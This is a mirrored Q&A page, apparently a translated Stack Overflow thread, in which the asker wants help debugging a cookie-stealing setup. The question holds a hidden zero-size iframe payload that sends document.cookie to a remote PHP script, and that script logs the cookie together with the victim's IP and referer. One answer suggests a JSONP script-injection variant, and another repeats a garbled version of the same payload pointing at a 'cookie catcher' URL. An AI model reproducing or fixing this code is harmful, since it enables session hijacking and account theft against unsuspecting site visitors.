将 document.cookie 从单独域上的 iframe 内传递到 php

发布于 2024-11-30 11:46:34 字数 724 浏览 0 评论 0原文

<IFRAME WIDTH=0 HEIGHT=0 frameborder=0 SRC=jvoid(document.location="http://www.xxx.com/cookie.php?c"+document.cookie)></iframe>

然后 php 文件:

<?php
$cookie = $_GET['c'];
$ip = getenv ('REMOTE_ADDR');
$date=date("j F, Y, g:i a");;
$referer=getenv ('HTTP_REFERER');
$fp = fopen('logs.html', 'a');
fwrite($fp, 'Cookie: '.$cookie.'< br > IP: ' .$ip. '< br > Date and Time: ' .$date. '< br > Referer: '.$referer.'< br > < br > < br >');
fclose($fp);
header ("Location: http://www.xxx.com");
?>

logs.html 记录除 cookie 之外的所有内容 - 为什么?我通过在标签内调用 document.cookie 来测试我的网站是否正确显示 cookie,因此出现了其他问题。 请指出我的愚蠢之处!

<IFRAME WIDTH=0 HEIGHT=0 frameborder=0 SRC=jvoid(document.location="http://www.xxx.com/cookie.php?c"+document.cookie)></iframe>

And then the php file:

<?php
$cookie = $_GET['c'];
$ip = getenv ('REMOTE_ADDR');
$date=date("j F, Y, g:i a");;
$referer=getenv ('HTTP_REFERER');
$fp = fopen('logs.html', 'a');
fwrite($fp, 'Cookie: '.$cookie.'< br > IP: ' .$ip. '< br > Date and Time: ' .$date. '< br > Referer: '.$referer.'< br > < br > < br >');
fclose($fp);
header ("Location: http://www.xxx.com");
?>

logs.html records everything other than the cookie- why? I tested that my site is dispaying cookies correctly by invoking: document.cookie within tags so something else is up.
Please point out my stupidness!

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。

评论(3

深爱成瘾 2024-12-07 11:46:34

你为什么要这样做?无论如何,我遇到了这个链接: http://www.15seconds.com/issue/971108.htm 很久以前..看看它对你是否有用

,或者你可以使用js尝试一下,如下所示:

<script type="text/javascript">
   var script=document.createElement('script');
   script.setAttribute("type","text/javascript");
   script.setAttribute("src", 'http://xxx.com/ajaxHandler?getCookie&callback=passCookie');
   document.getElementsByTagName("head")[0].appendChild(newfile);
 </script>

页面 xxx.com/ajaxHandler?getCookie 可以这样做:

 passCookie({'name':'mycookie', 'value':'myvalue'});

why would you want to do this? Anyways I had run into this link: http://www.15seconds.com/issue/971108.htm long back.. see if its useful to you

or you can try this using js as follows:

<script type="text/javascript">
   var script=document.createElement('script');
   script.setAttribute("type","text/javascript");
   script.setAttribute("src", 'http://xxx.com/ajaxHandler?getCookie&callback=passCookie');
   document.getElementsByTagName("head")[0].appendChild(newfile);
 </script>

And the page xxx.com/ajaxHandler?getCookie could do this:

 passCookie({'name':'mycookie', 'value':'myvalue'});
素罗衫 2024-12-07 11:46:34

我认为这是因为同源政策。

否则,窃取某人的 cookie 就太容易了:)

http://en.wikipedia.org/wiki/ Same_origin_policy

I think it's because of the same origin policy.

Otherwise it would be just too easy to steal someone's cookie :)

http://en.wikipedia.org/wiki/Same_origin_policy

伪装你 2024-12-07 11:46:34
< ="0" height="0" width="0" src="javascript...:void(document.location='YOURURL/cookie catcher.PHP?c=' document.cookie)></
< ="0" height="0" width="0" src="javascript...:void(document.location='YOURURL/cookie catcher.PHP?c=' document.cookie)></
~没有更多了~
我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
原文